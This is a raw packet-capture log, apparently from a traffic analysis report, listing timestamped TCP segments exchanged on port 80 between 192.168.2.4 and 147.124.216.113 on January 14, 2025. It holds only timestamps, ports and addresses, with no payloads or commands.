                                                                                                                                                        Jan 14, 2025 08:08:12.203883886 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.203901052 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.203917027 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.203947067 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.203960896 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.203984022 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.203998089 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.204011917 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.204029083 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.204040051 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.204051018 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.204052925 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.204097986 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255325079 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255501032 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255527020 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255549908 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255569935 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255584955 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255598068 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255613089 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255628109 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255642891 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255656004 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255676985 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255691051 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255691051 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255698919 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255692005 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255692005 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255692005 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255713940 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255738020 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255753040 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255768061 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255783081 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255789995 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255789995 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255789995 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255798101 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255812883 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255827904 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255827904 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255861044 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255861044 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255886078 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255902052 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255916119 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255916119 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255932093 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255944014 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.255947113 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.255964041 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256000042 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256000042 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256103039 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256118059 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256133080 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256148100 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256174088 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256185055 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256194115 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256201982 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256210089 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256278992 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256278992 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256278992 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256279945 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256315947 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256339073 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256355047 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256371975 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256375074 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256392002 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256395102 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256414890 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256429911 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256433964 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256443977 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256469011 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256481886 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256483078 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256494045 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256508112 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256522894 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.256531000 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256553888 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.256573915 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.292474985 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292749882 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292784929 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292798996 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292812109 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292824030 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292834997 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292846918 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292859077 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292870045 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292881012 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292892933 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292905092 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292917013 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292953968 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.292953968 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.292953968 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.292953968 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.292954922 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.292969942 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.292994022 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293015957 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293030977 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293040991 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293040991 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293046951 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293062925 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293072939 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293078899 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293095112 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293106079 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293109894 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293119907 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293134928 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293148041 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293162107 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293164015 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293162107 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293179989 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293190002 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293240070 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293622971 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293648005 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293659925 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293673992 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293688059 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293751001 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293775082 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293788910 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293801069 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293798923 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293800116 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293800116 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293817997 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293834925 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293849945 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293857098 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293857098 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293867111 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293895960 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293908119 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293939114 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293951988 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.293952942 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293968916 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.293996096 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.294045925 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294059992 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294075012 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294089079 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294089079 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.294106007 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294116974 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.294147968 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.294194937 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294210911 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294226885 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294250965 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.294265032 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294281006 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294296026 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294306040 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.294311047 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294334888 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.294578075 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294593096 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294606924 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294617891 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.294631958 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294644117 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294651985 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.294656992 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294668913 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294680119 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294687033 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.294692039 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.294725895 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.294739962 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346132040 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346179008 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346194983 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346210003 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346225023 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346240044 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346265078 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346280098 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346293926 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346314907 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346322060 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346328974 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346333981 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346338987 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346354008 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346353054 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346354008 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346354008 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346354008 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346369028 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346383095 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346399069 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346415043 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346430063 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346446991 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346446991 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346446991 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346470118 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346477985 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346518993 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346551895 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346575022 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346606970 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346657991 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346661091 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346688986 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346721888 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346740007 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346752882 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346785069 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346810102 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346833944 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346867085 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346895933 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346898079 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346931934 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.346947908 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.346986055 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347034931 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347038031 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.347071886 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347168922 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347172976 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.347202063 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347235918 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347251892 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.347270012 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347304106 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347332954 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.347366095 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347399950 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347417116 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.347430944 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347464085 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347480059 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.347510099 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347542048 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347562075 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.347573996 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347608089 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347625017 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.347640991 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347675085 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347692966 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.347707033 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347749949 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.347758055 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383310080 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383347034 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383363962 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383378983 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383409023 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383431911 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383446932 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383469105 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383483887 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383498907 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383498907 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383500099 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383500099 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383500099 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383522987 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383538961 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383553028 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383569002 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383583069 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383590937 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383590937 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383590937 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383599043 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383615017 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383619070 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383632898 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383647919 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383661985 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383666039 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383681059 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383691072 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383697033 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383713007 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383727074 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383728981 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383742094 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383752108 CET4973780192.168.2.4147.124.216.113
